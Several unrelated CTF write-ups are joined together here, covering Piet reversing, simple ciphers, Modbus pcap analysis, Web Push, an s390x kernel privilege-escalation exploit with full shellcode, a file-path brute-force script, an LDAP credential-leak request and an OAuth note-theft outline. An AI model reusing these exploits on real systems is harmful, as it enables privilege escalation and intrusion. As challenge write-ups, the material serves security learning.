In order to get a better look at how the code is interpreted and hopefully reverse engineer the desired flag, I downloaded npiet.c, linked here: http://www.bertnase.de/npiet/ The c file compiled pretty easily on Linux with gcc, but I did find that it required a .ppm file be fed into it in order to work. Fortunately, convert from the ImageMagick package can do these conversions easily, and I can have a better look at how the program works.```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/UIUCTF22$ convert piet_sample.png piet_sample.ppmknittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/UIUCTF22$ ./npiet piet_sample.ppmenter flag:? aaaaaaaaaaaaaa? ? ? 0```Eventually, I realized that I could use the "-t" flag to get a dump of how the pixels are being interpreted in more readily readable terms. This includes both assembly-like instructions such as push and multiply, as well as traces of a "stack"'s values at any given instruction:```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/UIUCTF22$ ./npiet piet_sample.ppm -t
trace: step 0 (0,0/r,l dM -> 2,0/r,l lM):action: push, value 8trace: stack (1 values): 8
trace: step 1 (2,0/r,l lM -> 3,0/r,l nM):action: push, value 4trace: stack (2 values): 4 8
trace: step 2 (3,0/r,l nM -> 4,0/r,l lR):action: multiplytrace: stack (1 values): 32
trace: step 3 (4,0/r,l lR -> 5,0/r,l lB):action: duplicatetrace: stack (2 values): 32 32
trace: step 4 (5,0/r,l lB -> 6,0/r,l nB):action: push, value 3trace: stack (3 values): 3 32 32```My input from the terminal is initially requested at line 58 with an "in(char)" instruction. This appears to only request a single character, but it is later repeated several more times; later analysis showed that characters input first got pushed further back on the stack. I input a bunch of a's here:```trace: step 57 (55,3/l,l lR -> 54,3/l,l nY):action: subtrace: stack (2 values): 4 96
trace: step 58 (54,3/l,l nY -> 53,3/l,l nR):action: in(char)?```Once all of my a's had been loaded onto the stack, I was able to view a fairly predictable pattern in the disassembly, where a value like 14 is pushed onto the stack next to one of my input characters, and it is added to the numeric representation of that character ('a' = 97 in ascii). Then 26 is pushed onto the stack, and the sum from the previous step is moduloed by 26. Not is then performed on the result, which always result in a 0 unless a 0 is originally fed in. The result is then multiplied with the next number on the stack, typically 1.```trace: step 116 (520,612/d,l nC -> 520,614/d,l dC):action: push, value 2trace: stack (7 values): 2 1 97 97 97 97 96
trace: step 117 (520,614/d,l dC -> 520,615/d,l lC):action: push, value 1trace: stack (8 values): 1 2 1 97 97 97 97 96
trace: step 118 (520,615/d,l lC -> 520,616/d,l nY):action: rolltrace: stack (6 values): 97 1 97 97 97 96
trace: step 119 (520,616/d,l nY -> 520,618/d,l dY):action: push, value 14trace: stack (7 values): 14 97 1 97 97 97 96
trace: step 120 (520,618/d,l dY -> 520,619/d,l dG):action: addtrace: stack (6 values): 111 1 97 97 97 96
trace: step 121 (520,619/d,l dG -> 520,621/d,l lG):action: push, value 26trace: stack (7 values): 26 111 1 97 97 97 96
trace: step 122 (520,621/d,l lG -> 520,622/d,l nB):action: modtrace: stack (6 values): 7 1 97 97 97 96
trace: step 123 (520,622/d,l nB -> 520,623/d,l lR):action: nottrace: stack (6 values): 0 1 97 97 97 96
trace: step 124 (520,623/d,l lR -> 520,624/d,l dY):action: multiplytrace: stack (5 values): 0 97 97 97 96trace: entering white block at 520,987 (like the perl interpreter would)...```At the end of the program, a number is output, which seems to be 0 for my incorrect guess. That 0 seems to be a direct result of one or more characters that produced a zero following the modulus operation. As a result, it seems worth trying characters that would not, in fact, produce zeroes for their respective modular operations.```trace: step 153 (246,167/r,r dY -> 247,167/r,r dG):action: addtrace: stack (3 values): 115 0 96
trace: step 154 (247,167/r,r dG -> 249,167/r,r lG):action: push, value 26trace: stack (4 values): 26 115 0 96
trace: step 155 (249,167/r,r lG -> 250,167/r,r nB):action: modtrace: stack (3 values): 11 0 96
trace: step 156 (250,167/r,r nB -> 251,167/r,r lR):action: nottrace: stack (3 values): 0 0 96
trace: step 157 (251,167/r,r lR -> 252,167/r,r dY):action: multiplytrace: stack (2 values): 0 96
trace: step 158 (252,167/r,r dY -> 254,167/r,r lR):action: out(number)0trace: stack (1 values): 96```So, the first character (technically the last character), has 14 added to it, is moduloed by 26, then notted. We can rephrase this as an algebra equation with (x + 14) % 26 = 0, and since we know the acceptable range of characters is lowercase ascii, we can calculate by hand or with a python loop that it must be the letter 't'. If we continue this line of logic with the other characters, we get 'e', 'i', and 'p' for a flag of 'piet'. If we input that when running the program, the program's final output is 1, which presumably means success!```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/UIUCTF22$ ./npiet piet_sample.ppmenter flag:? piet? ? ? 1```## Automating Analysis
So, now we know how to get individual flags, we need to start auto-analyzing them since the images served through the netcat connection change every time. The main factor that changes with each character/image is the numbers to be pushed just before the add. This means that if I can just extract these numbers, I can make the calculations to get the flag.
If I try grepping on npiet with -t in use, I can see that ```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/UIUCTF22$ ./npiet piet_sample.ppm -t | grep 'push\|add'action: push, value 8action: push, value 4action: push, value 3action: push, value 5action: addaction: push, value 14action: addaction: push, value 20action: addaction: push, value 5action: addaction: push, value 18action: addaction: push, value 2...action: push, value 14action: addaction: push, value 26action: push, value 2action: push, value 1action: push, value 3action: addaction: push, value 26action: push, value 2action: push, value 1action: push, value 25action: addaction: push, value 26action: push, value 2action: push, value 1action: push, value 18action: addaction: push, value 26```So, in my python code, I:
1. Set up to automatically extract and save the png file file from the netcat connection.
2. Convert the png file to a ppm file and run the result through npiet with the -t flag, saving the text result.
3. Cut the result off at the last question mark to avoid the push-add combinations used to print the text at the beginning.
4. Create a list of numbers based on only push lines that come before add lines.
5. Derive the letters from the added numbers and squidge them together into a flag.
6. Send the results in a netcat connection, repeat ten times to get the flag.
The final, full python code looks like this:```from pwn import *import base64import os import string
def extract_flag(test_file):
os.system('convert ' + test_file + '.png ' + test_file + '.ppm')
target = process(['./npiet', '-t', test_file + '.ppm'])
target.sendline(b'a' * 100)
raw = target.recvall(timeout = 1) reduced = raw.split(b'?')[-1] lines = reduced.split(b'\n') reduced_lines = [] for line in lines: if b'add' in line or b'push' in line: reduced_lines.append(line) desired_pushes = [] nums = [] for i in range(len(reduced_lines)): if b'add' in reduced_lines[i]: push_line = reduced_lines[i-1] nums.append(push_line.split(b' ')[-1]) print(nums) flag = ''
for num in nums: for i in range(4, 6): attempt = chr(26 * i - int(num)) if attempt in string.ascii_lowercase: break flag = attempt + flag print(flag) return flag
target = remote('pierated-art.chal.uiuc.tf', 1337)
for i in range(10): file1 = open('pierated.png', 'wb') print(target.recvuntil(b'(Base64):\n')) result = target.recvuntil(b'Enter').replace(b'\nEnter', b'')
decoded = base64.b64decode(result) file1.write(decoded) file1.close() payload = extract_flag('pierated')
target.sendline(payload)
target.interactive()```And the end of the results looks like this:```b' flag #8/10 (15s):Correct!\nTorrented Picture Data (Base64):\n'[+] Starting local process './npiet': pid 31649[+] Receiving all data: Done (28.56KB)[*] Process './npiet' stopped with exit code 0 (pid 31649)[b'20', b'7', b'25', b'16', b'4', b'20', b'19', b'21']mondrianb' flag #9/10 (15s):Correct!\nTorrented Picture Data (Base64):\n'[+] Starting local process './npiet': pid 31654[+] Receiving all data: Done (31.72KB)[*] Process './npiet' stopped with exit code 0 (pid 31654)[b'14', b'4', b'20', b'7', b'16', b'6', b'21', b'3', b'16']rembrandt[*] Switching to interactive mode flag #10/10 (15s):Correct!i'll just use google images next time :Duiuctf{m0ndr14n_b3st_pr0gr4mm3r_ngl}[*] Got EOF while reading in interactive$```Thanks for reading! |

This challenge was label as easy
## **1st Flag ㅤㅤ(50 points)**
We were given a single file : [binary.jpeg](./binary.jpeg)
By using `file binary.jpeg` we discover that the file isn't a jpeg but some ASCII text. After oppening it in a text editor we only find "(" and "9" by remplacing every "9" with 1 and "(" with 0 (either by hand in vscode or using a python script) and decoding the output we're able to get the following :
> CTF{UGVwcGFpc2FwaWc}
## **2nd Flagㅤㅤ (20 points)**
The previous output gives us the 1st flag but also some information for the 2nd.
The text makes reference to Bellaso and Blaise, after a quick research we find that the Vigenère cipher is named after Blaise de Vigenère, although Giovan Battista Bellaso had invented it.Therefore our message must be encrypted with the Vigenère cipher, we can decrypt it [here](https://www.dcode.fr/chiffre-vigenere). The decryption key is the middle name of Bellaso as said in the output : Battista.

> CTF{QMVSBGFZB2LUDMVUDGVKDGhPC2NPCGHLCG}
## **3rd Flagㅤㅤ (30 points)**
The title of this one was "Back to the basics", so we thought of the Scytale cypher : [here](https://www.dcode.fr/chiffre-scytale) We first decoded it with the "try every scale" option and we find some english words in the 10th, so we decoded the message with a size of 10

By searching in the string we find :

Adding the "{}" and we have the flag.
> CTF{C2T5DGFSZXDPDGHTYXRYEW9ZAGTH} |

This challenge was label as esay
We were given a [pcapng](./files/chemical_plant_explosion.pcapng) and a [mp4](./files/chemical_plant_explosion.mp4)
## **1st Flag (10 points)**
For the first part we were supposed to find which component was altered in the plant and put it in the flag template.

Thanks to the video we could see that the pressure was increasing till the plant explode.
> CTF{pressure}
## **2nd Flag (40 points)**
In the second part we had to pinpoint the exact moment of the attack in the network. We have to use the pcapng for this one however we had a hard time finding this flag cause we didn't know about packet comments.In Wireshark, if you pass **pkt_comment** as a filter you will be left with these :

And in one of the packets you can find the following :*You found the point of explosion! Q1RGe00wREJVNV9SRTREX1IxR0hUfQ==*
> CTF{M0DBU5_RE4D_R1GHT}
## **3rd Flag (30 points)**
In this one we had to find the setpoint value of the attacked component. And the hint was : *HINT: A setpoint value does not change under any circumstance*
We did not really know what we were looking for but we found this in the modbus layer in the packets details :

And we also found out that the first four values never change. We tried 65535 and it worked
> CTF{65535}
## **4th Flag (20 points)**
For the last part we had to find what type of data is stored in register coils.
In one of the packets comments in the second part you can find : *Coils seem to hold binary values...*
However since we didn't know about comments we had to search through the modbus docs :/
> CTF{binary} |
# US Cyber Games, Open CTF 2022 - Fun Facts Writeup- Type - web- Name - Fun Facts- Points - 495 (13 solves)
## Description```markdownThis site would like your permission to send you notifications. Accept or deny?
https://uscg-web-fun-facts-w7vmh474ha-uc.a.run.app
Author: Tsuto```
## WriteupNo challenge files are provided, so all we know is what's located on the website.

The main page, along with the challenge description, lays out the goal of the problem pretty well. You are given a public VAPID key (more on this later) and documentation for an endpoint. You need to use the VAPID key and the endpoint to subscribe yourself to notifications from this site. The last line of the main page says `Who knows, maybe if you can get these notifications working, I'll hire you to help finish the site`, which implies that the reward comes once you are subscribed to notifications.
### Understanding Push NotificationsThis challenge relies less on security-specific concepts and more on an in-depth understanding of how Web Push Notifications work (*I will argue, however, that understanding something in-depth is almost a requirement for being able to hack it*). Therefore, a good portion of this writeup will be dedicated to explaining the concepts behind how we solve it. Before getting into it, a good resource is [this series of articles](https://web.dev/push-notifications-overview/) published on web.dev.
The basis of the technology is this - if websites want to send endusers pop-up notifications to give them time-sensitive information, they can use this Web Push tech for that. To sign up, a user normally navigates to the site in question. The site will say something like "Can we send you notifications?" and your browser will say something like "This site wants to send you notifications, allow or deny?" (see below). If you allow, then your browser will send popup notifications each time the site owner pushes new content.

But how can you receive notifications from a site if you don't have that site open in any tabs? Browsers accomplish this through what are called [service workers](https://developer.chrome.com/docs/workbox/service-worker-overview/). These are JavaScript-powered assets that run in the background of your browser and constantly listen for incoming information. Normally, the site developer will set up a service worker that can run in your browser and request the proper permissions from you so that you can get push notifications only from giving the site permission. However, in this problem, we don't have either of those.
To go a step deeper, we need to examine the roles that the browser and push service play in the Web Push protocol. After you (the end user) give "Notification" permission to the website, the site 1) creates a service worker in your browser and 2) tells the service worker to subscribe to notifications from the site. The service worker tells your browser, "Hey I need some information to subscribe to notifications". The browser then generates 3 pieces of information - an endpoint, and two keys (*looks similar to the documentation for our API endpoint on the main page, right?*). Each browser is integrated with an external push service, and requests a unique endpoint for the end user. For example, the browser Google Chrome will ask the Push Service hosted at `https://fcm.googleapis.com` for a unique endpoint. The Push Service will respond with something like `https://fcm.googleapis.com/send/this_is_your_unique_id_here`. The browser then generates an ECC private key called `p256dh` and an authentication secret called `auth`.
Once the browser has the endpoint, `p256dh`, and `auth` values, it will give it to the service worker who will send it to an endpoint for the website. The back-end for the site will store that, and each time it wants to send a notification to the end user, it will use the `p256dh` and `auth` values to encrypt the notification and send it to the given endpoint. The push service will receive the encrypted message and forward it to the browser. The browser (who has the public-key counterpart for the `p256dh` key) will decrypt the notification and send it to the service worker, who sends it to you!
### Approaching the ProblemThe easiest-sounding solution would be to register a service worker on the challenge website and have it do everything in the background. The problem is that service workers can't be created through the web console, as the code for it needs to come from a publicly-available `.js` endpoint on the site (which we don't have). A workaround that was tried was creating a service worker on a website that we host and attempting to subscribe to notifications there. Each time I followed the tutorials I found, however, I kept getting told that the VAPID key was invalid (maybe it was looking up the VAPID key *and* my domain name, and since they didn't match, it was "invalid" \o/). This is when we decided to take the approach of being our own push service, browser, and service worker.
This meant that we would have to have a publicly-accessible, unique endpoint for our push service, be able to generate the specific public-key pairs and decrypt the notifications (for the browser), and send all this information to the challenge website's endpoint (for the service worker).
### Being the Service WorkerSending all the necessary information to the challenge website's documented endpoint was easy enough - a simple Burp Suite POST request with the specified parameters worked (see below). The hard part was going to be generating the information to send it, receiving it, and decrypting the notification.

### Being the BrowserTo simulate the browser, I had to generate a public-private key pair using Elliptic Curve Cryptography's P256 curve, along with an authentication secret (all base-64 encoded). After some searching online, I found [an old Web Push ECEC GitHub Repo](https://github.com/web-push-libs/ecec) that would do web push encryption and decryption in C. Specifically, it contained a library with functions that would do whatever you wanted, along with 3 pre-created tools for [generating p256 keys](https://github.com/web-push-libs/ecec/blob/master/tool/keygen.c), [decrypting an encrypted message](https://github.com/web-push-libs/ecec/blob/master/tool/decrypt.c), and [generating VAPID keys](https://github.com/web-push-libs/ecec/blob/master/tool/vapid.c).
I tried to [compile the library as described](https://github.com/web-push-libs/ecec#macos-and-nix), but kept getting the error `error: ‘EC_...’ is deprecated: Since OpenSSL 3.0`. After some research, I found that I could stop deprecation warnings from being interpreted as errors using the `-Wno-deprecated-declarations` flag in the `Makefiles`. I inserted this flag on [line 78 of `CMakeLists.txt`](https://github.com/web-push-libs/ecec/blob/master/CMakeLists.txt#L74), recompiled, and it worked!
```bashuser@computer:~/ecec/build$ make[ 14%] Building C object CMakeFiles/ece.dir/src/base64url.c.o[ 28%] Building C object CMakeFiles/ece.dir/src/encrypt.c.o[ 42%] Building C object CMakeFiles/ece.dir/src/decrypt.c.o[ 57%] Building C object CMakeFiles/ece.dir/src/keys.c.o[ 71%] Building C object CMakeFiles/ece.dir/src/params.c.o[ 85%] Building C object CMakeFiles/ece.dir/src/trailer.c.o[100%] Linking C static library libece.a[100%] Built target ece
user@computer:~/ecec/build$ lsCMakeCache.txt CMakeFiles cmake_install.cmake CTestTestfile.cmake libece.a Makefile
user@computer:~/ecec/build$ make ece-decryptConsolidate compiler generated dependencies of target ece[ 77%] Built target ece[ 88%] Building C object CMakeFiles/ece-decrypt.dir/tool/decrypt.c.o[100%] Linking C executable ece-decrypt[100%] Built target ece-decrypt
user@computer:~/ecec/build$ make ece-keygen[ 77%] Built target ece[ 88%] Building C object CMakeFiles/ece-keygen.dir/tool/keygen.c.o[100%] Linking C executable ece-keygen[100%] Built target ece-keygen
user@computer:~/ecec/build$ ls -ltotal 192-rw-r--r-- 1 user user 18599 Aug 8 19:15 CMakeCache.txtdrwxr-xr-x 10 user user 4096 Aug 8 19:17 CMakeFiles-rw-r--r-- 1 user user 1672 Aug 8 19:15 cmake_install.cmake-rw-r--r-- 1 user user 607 Aug 8 19:15 CTestTestfile.cmake-rwxr-xr-x 1 user user 42992 Aug 8 19:17 ece-decrypt-rwxr-xr-x 1 user user 42992 Aug 8 19:17 ece-keygen-rw-r--r-- 1 user user 46082 Aug 8 19:15 libece.a-rw-r--r-- 1 user user 20965 Aug 8 19:15 Makefile```
Running `./ece-keygen` gave me the following output:```Private key: de329ee7da1cdc4913444f13ed2b8165d682d6f03fd72eacd5e08919305d1a38Public key: 0439624145b621d1bb3bfbd8899a736158ccc70bae24d9debc49c239ad1dff22e0cd6c364fe2208973bd4eafded79acd8e268d3c403d19f71b01a14034b29718b3Authentication secret: d9f8042c5bf4e1e6a87e85ba80000663```
It gave me the information I needed, but in hexadecimal form, and the endpoint was expecting this information as web-safe base64. Using [CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')To_Base64('A-Za-z0-9-_')&input=ZGUzMjllZTdkYTFjZGM0OTEzNDQ0ZjEzZWQyYjgxNjVkNjgyZDZmMDNmZDcyZWFjZDVlMDg5MTkzMDVkMWEzOA), I encoded the public key as `BDliQUW2IdG7O_vYiZpzYVjMxwuuJNnevEnCOa0d_yLgzWw2T-IgiXO9Tq_e15rNjiaNPEA9GfcbAaFANLKXGLM` and the auth secret as `2fgELFv04eaofoW6gAAGYw`.
### Making a Push ServiceTo simulate a push service, I needed a publicly-accessible endpoint that would print out the contents of the request in hexadecimal (since the encrypted notifications were NOT base-64 encoded). I [modified a public Python webserver](https://github.com/Legoclones/uscybergames-writeups/blob/main/fun-facts/get_request.py) for this purpose. I also used Ngrok to get a publicly-accessible subdomain that would forward to my local Python server running on port 80 (`ngrok http 80`, copy the Forwarding Address it provides). The example URL it gave me was `https://d651-72-221-20-86.ngrok.io`, so I made the endpoint `https://d651-72-221-20-86.ngrok.io/legoclones`.
### Putting it All TogetherNow that I had all the pieces, I put it together to get the notifications! I sent the following request through Burp Suite to the web challenge endpoint:

On my web server, I got the following output:
```$ sudo python3 get_request.pyINFO:root:Starting httpd...
INFO:root:Path: /legoclones
Body:0xfc958f0168b65d33c80ccef49f916794000010004104a509f3743ff9b6564999543f6384f18c4432ceae57624906b88241357cfc2000593bb3cdd40a38792bdba2d2dc25bf35c9cde742c4b073a1cd1721081704f74ffbe78e1e9e92aa546a34235be4d368765638ffa36a19aa6e617de78b9336995dc4108d0dd43b450ce3dd52dbcc08903a50abeeaf9634e8a5b32c3249cb9ea51f23113766703ab7b30dac1d1e57f21a95ed61ab334e```
To decrypt the notification, I converted the body [from hex to web-safe base64](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')To_Base64('A-Za-z0-9-_')&input=ZmM5NThmMDE2OGI2NWQzM2M4MGNjZWY0OWY5MTY3OTQwMDAwMTAwMDQxMDRhNTA5ZjM3NDNmZjliNjU2NDk5OTU0M2Y2Mzg0ZjE4YzQ0MzJjZWFlNTc2MjQ5MDZiODgyNDEzNTdjZmMyMDAwNTkzYmIzY2RkNDBhMzg3OTJiZGJhMmQyZGMyNWJmMzVjOWNkZTc0MmM0YjA3M2ExY2QxNzIxMDgxNzA0Zjc0ZmZiZTc4ZTFlOWU5MmFhNTQ2YTM0MjM1YmU0ZDM2ODc2NTYzOGZmYTM2YTE5YWE2ZTYxN2RlNzhiOTMzNjk5NWRjNDEwOGQwZGQ0M2I0NTBjZTNkZDUyZGJjYzA4OTAzYTUwYWJlZWFmOTYzNGU4YTViMzJjMzI0OWNiOWVhNTFmMjMxMTM3NjY3MDNhYjdiMzBkYWMxZDFlNTdmMjFhOTVlZDYxYWIzMzRl) and put that, the auth secret, and the private key into `ece-decrypt`:
```user@computer:~/ecec/build$ ./ece-decryptUsage: ./ece-decrypt <auth-secret> <receiver-private> <message>
user@computer:~/ecec/build$ ./ece-decrypt "2fgELFv04eaofoW6gAAGYw" "3jKe59oc3EkTRE8T7SuBZdaC1vA_1y6s1eCJGTBdGjg" "_JWPAWi2XTPIDM70n5FnlAAAEABBBKUJ83Q_-bZWSZlUP2OE8YxEMs6uV2JJBriCQTV8_CAAWTuzzdQKOHkr26LS3CW_NcnN50LEsHOhzRchCBcE90_7544enpKqVGo0I1vk02h2Vjj_o2oZqm5hfeeLkzaZXcQQjQ3UO0UM491S28wIkDpQq-6vljTopbMsMknLnqUfIxE3ZnA6t7MNrB0eV_Iale1hqzNO"Decrypted message: Great job! You get a special prize, the flag: USCG{pr3tty_n3at0_huh}```
**Flag:** `USCG{pr3tty_n3at0_huh}`
### Final NoteI'm pretty sure this was NOT the intended solution since my solve didn't even use the VAPID public key at all... VAPID keys are used to ensure the site that you subscribe to is the same site sending the notifications (so one site can't subscribe you to notifications from another site), and this check is done by the browser. But either way, it worked! |
## Analysis
This challenge is basically `kone_gadget` from SECCON 2021 (writeup [here](https://org.anize.rs/SECCON-2021/pwn/kone_gadget)) ported to s390x.
Like in the original challenge, the author patched the kernel to add a new syscall:
```cSYSCALL_DEFINE1(s390_gadget, unsigned long, pc){ register unsigned long r14 asm("14") = pc; asm volatile("xgr %%r0,%%r0\n" "xgr %%r1,%%r1\n" "xgr %%r2,%%r2\n" "xgr %%r3,%%r3\n" "xgr %%r4,%%r4\n" "xgr %%r5,%%r5\n" "xgr %%r6,%%r6\n" "xgr %%r7,%%r7\n" "xgr %%r8,%%r8\n" "xgr %%r9,%%r9\n" "xgr %%r10,%%r10\n" "xgr %%r11,%%r11\n" "xgr %%r12,%%r12\n" "xgr %%r13,%%r13\n" "xgr %%r15,%%r15\n" ".machine push\n" ".machine z13\n" "vzero %%v0\n" "vzero %%v1\n" "vzero %%v2\n" "vzero %%v3\n" "vzero %%v4\n" "vzero %%v5\n" "vzero %%v6\n" "vzero %%v7\n" "vzero %%v8\n" "vzero %%v9\n" "vzero %%v10\n" "vzero %%v11\n" "vzero %%v12\n" "vzero %%v13\n" "vzero %%v14\n" "vzero %%v15\n" "vzero %%v16\n" "vzero %%v17\n" "vzero %%v18\n" "vzero %%v19\n" "vzero %%v20\n" "vzero %%v21\n" "vzero %%v22\n" "vzero %%v23\n" "vzero %%v24\n" "vzero %%v25\n" "vzero %%v26\n" "vzero %%v27\n" "vzero %%v28\n" "vzero %%v29\n" "vzero %%v30\n" "vzero %%v31\n" ".machine pop\n" "br %0" : : "r" (r14)); unreachable();}```
The custom syscall zeroes every general-purpose register and then jumps to anaddress chosen by us. Somehow we have to use this to become root.
What makes this challenge difficult is that we have to write a kernel exploit for a fairly obscure architecture that no one on the team had seen before, and which is not supported by most of the tools we normally use (pwndbg, gef, vmlinux-to-elf, etc...).
## Exploitation
The first thing I tried was to replicate the solution we used for the originalchallenge at SECCON. Unfortunately that doesn't work because the root filesystemis no longer in an initramfs but in an ext2 disk. The flag is no longer in memoryand we would need to read from the disk first.
I also tried to use the intended solution for the original challenge (injectshellcode in the kernel by using the eBPF JIT), but...
```/ $ /pwnseccomp: Function not implemented```
it looks like the challenge kernel is compiled without eBPF or seccomp, so wecan't use that to inject shellcode either.
I also tried to load some shellcode in userspace, and then jump to it
```[ 4.215891] Kernel stack overflow.[ 4.216147] CPU: 1 PID: 43 Comm: pwn Not tainted 5.18.10 #1[ 4.216363] Hardware name: QEMU 3906 QEMU (KVM/Linux)[ 4.216532] Krnl PSW : 0704c00180000000 0000000001000a62 (0x1000a62)[ 4.216964] R:0 T:1 IO:1 EX:1 Key:0 M:1 W:0 P:0 AS:3 CC:0 PM:0 RI:0 EA:3[ 4.217079] Krnl GPRS: 0000000000000000 0000000000000000 0000000000000000 0000000000000000[ 4.217140] 0000000000000000 0000000000000000 0000000000000000 0000000000000000[ 4.217196] 0000000000000000 0000000000000000 0000000000000000 0000000000000000[ 4.217251] 0000000000000000 0000000000000000 0000000001000a60 0000000000000000[ 4.218310] Krnl Code: 0000000001000a5c: 0000 illegal[ 4.218310] 0000000001000a5e: 0000 illegal[ 4.218310] #0000000001000a60: 0000 illegal[ 4.218310] >0000000001000a62: 0000 illegal[ 4.218310] 0000000001000a64: 0000 illegal[ 4.218310] 0000000001000a66: 0000 illegal[ 4.218310] 0000000001000a68: 0000 illegal[ 4.218310] 0000000001000a6a: 0000 illegal[ 4.218850] Call Trace:[ 4.219231] [<00000000001144de>] show_regs+0x4e/0x80[ 4.219718] [<000000000010196a>] kernel_stack_overflow+0x3a/0x50[ 4.219780] [<0000000000000200>] 0x200[ 4.219958] Last Breaking-Event-Address:[ 4.219996] [<0000000000000000>] 0x0[ 4.220445] Kernel panic - not syncing: Corrupt kernel stack, can't continue.[ 4.220652] CPU: 1 PID: 43 Comm: pwn Not tainted 5.18.10 #1[ 4.220727] Hardware name: QEMU 3906 QEMU (KVM/Linux)[ 4.220792] Call Trace:[ 4.220816] [<00000000004ce1a2>] dump_stack_lvl+0x62/0x80[ 4.220879] [<00000000004c4d16>] panic+0x10e/0x2d8[ 4.220933] [<0000000000101980>] s390_next_event+0x0/0x40[ 4.220986] [<0000000000000200>] 0x200```
Unfortunately that didn't work either. At this point I started reading more aboutthe architecture that the challenge it's running on. I found [this page](https://www.kernel.org/doc/html/v5.3/s390/debugging390.html) from theLinux kernel documentation, as well as IBM's manual useful.
As it turns out, on z/Architecture the kernel and userspace programs run incompletely different address spaces. Userspace memory is simply not accessiblefrom kernel mode without using special instructions and we cannot jump toshellcode there.
At this point I was out of ideas and I started looking at the implementation ofLinux's system call handler for inspiration. One thing that I found interestingis that the system call handler reads information such as the kernel stackfrom a special page located at address zero. The structure of this special zeropage (lowcore) is described in [this Linux header file](https://elixir.bootlin.com/linux/latest/source/arch/s390/include/asm/lowcore.h).
Interestingly enough on this architecture, or at least on the version emulated byQEMU, all memory is executable. Linux's system call handler even jumps to alocation in the zero page to return to userspace. If we could place somecontrolled data somewhere, we could just jump to it to get arbitrary codeexecution in the kernel.
At some point I started looking at the contents of the zero page in gdb and Irealized that there _is_ some memory that we could control there and use asshellcode. For example `save_area_sync` at offset 0x200 contains the values ofregisters r8-r15 before the system call. The values of those registers are completelycontrolled by us in userspace. What if we placed some shellcode in the registersand jumped to it? I used a very similar idea to solve [kernote](https://org.anize.rs/0CTF-2021-finals/pwn/kernote) from the 0CTF 2021 finalsexcept this time instead of merely using the saved registers as a ROP chain,they're actually executable and we can use them to store actual shellcode!
We only have 64 bytes of space for the shellcode, which isn't a lot but shouldbe enough for a small snippet that gives us root and returns to userspace.
The zero page even contains a pointer to the current task, and we can use thatto find a pointer to our process's creds structure and zero the uid to get root.
Here is the full exploit:
```.section .text.globl _start.type _start, @function_start: larl %r5, shellcode lg %r8, 0(%r5) lg %r9, 8(%r5) lg %r10, 16(%r5) lg %r11, 24(%r5) lg %r12, 32(%r5) lg %r13, 40(%r5) lg %r14, 48(%r5) lg %r15, 56(%r5) lghi %r1, 390 lghi %r2, 0x200 svc 0
userret: # Launch a shell lghi %r1, 11 larl %r2, binsh larl %r3, binsh_argv lghi %r4, 0 svc 11
binsh: .asciz "/bin/sh"
binsh_argv: .quad binsh .quad 0
.align 16shellcode: lg %r12, 0x340 lg %r15, 0x348
# Zero the creds lghi %r0, 0 lg %r1, 0x810(%r12) stg %r0, 4(%r1)
# Return to userspace lctlg %c1, %c1, 0x390 stpt 0x2C8 lpswe 0x200 + pswe - shellcode
.align 16pswe: # Copied from gdb .quad 0x0705200180000000 .quad userret```
Flag: `CTFZone{pls_only_l0wcor3_m3th0d_n0__nintend3d_kthxbye}` |
The application was a note-taking webapp with a functionality of also adding file attachements.Not sanitizing user provided body and not handilng an error led to uploading a malicious script to a known location and importing it to an unsafe "sandboxed" script,
exploit script```pythonimport requestsimport threading
HOST = 'express-notes.ctfz.one'cookies = { 'lang': 'en-US', 'connect.sid': '<session-cookie>'}
headers = { 'Host': HOST, 'Content-Type': 'application/x-www-form-urlencoded'}
def run_in_thread(fn): def run(*k, **kw): t = threading.Thread(target=fn, args=k, kwargs=kw) t.start() return t return run
@run_in_threaddef run_brute(timestamps): for timestamp in timestamps: brute(timestamp)
def brute(timestamp): data = 'title=test&content=test&fileLoaded=true&file=/tmp/tmp-1-%s' % (timestamp) response = requests.post('https://%s/notes' % HOST, cookies=cookies, headers=headers, data=data, allow_redirects=True) print(data, response.elapsed.total_seconds())
response_time = 1661424636000NUM_THREADS = 5
LIMIT = 1000 / NUM_THREADSfor n in range(NUM_THREADS): start = response_time + LIMIT * n end = start + LIMIT run_brute(range(start, end))
``` read more here - https://blog.xss.am/2022/08/offzone-express-notes/ |
TL;DR1. Connect to the server with our server in the `X-Ldap-Header`:```html% curl proxyhell.ctfz.one -H "Connection: X-Real-Ip" -H "Authorization: basic YWRtaW46d3Jvbmc=" -H "X-Ldap-URL: ldap://4rt.one:100"<html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx</center></body></html>```
2. Check logs of our server:```bash[email protected] ~ # nc -lp 1000A`<▒cn=admin,dc=example,dc=org�dminpasswordisverysecure!2```
3. Resend the request with a valid authorization header:```bash% echo -n "admin:@dminpasswordisverysecure\!2" | base64YWRtaW46QGRtaW5wYXNzd29yZGlzdmVyeXNlY3VyZSEy``````html% curl proxyhell.ctfz.one -H "Connection: X-Real-Ip" -H "Authorization: basic YWRtaW46QGRtaW5wYXNzd29yZGlzdmVyeXNlY3VyZSEy"<html><body><h1>CTFZone{W3_l0v3_@_l0t_pr0xy_@nd_bug9_1n_th3m}</h1></body></html>```
[read more](https://sh1yo.art/ctf/proxyhell/) |
TL;DR
1. Register a normal user, who will catch the notes.2. Register an account on one of the 4 oauth providers (discord, reddit, github and gitlab) with the same name as the user with the flag.3. Register to the website using one of the 4 oAuth providers.4. Make several requests to share notes from the ctfzone_admin with our normal user.5. Log in to normal user account an read the flag.
[Read more](https://github.com/kukuxumushi/Writeups/blob/main/CTFZONE2022/Social%20Notes%20writeup/SocialNoteswriteup.md) |
VM-v2 [Reversing, 482 points, 13 solves, 2nd solver]========
### Description
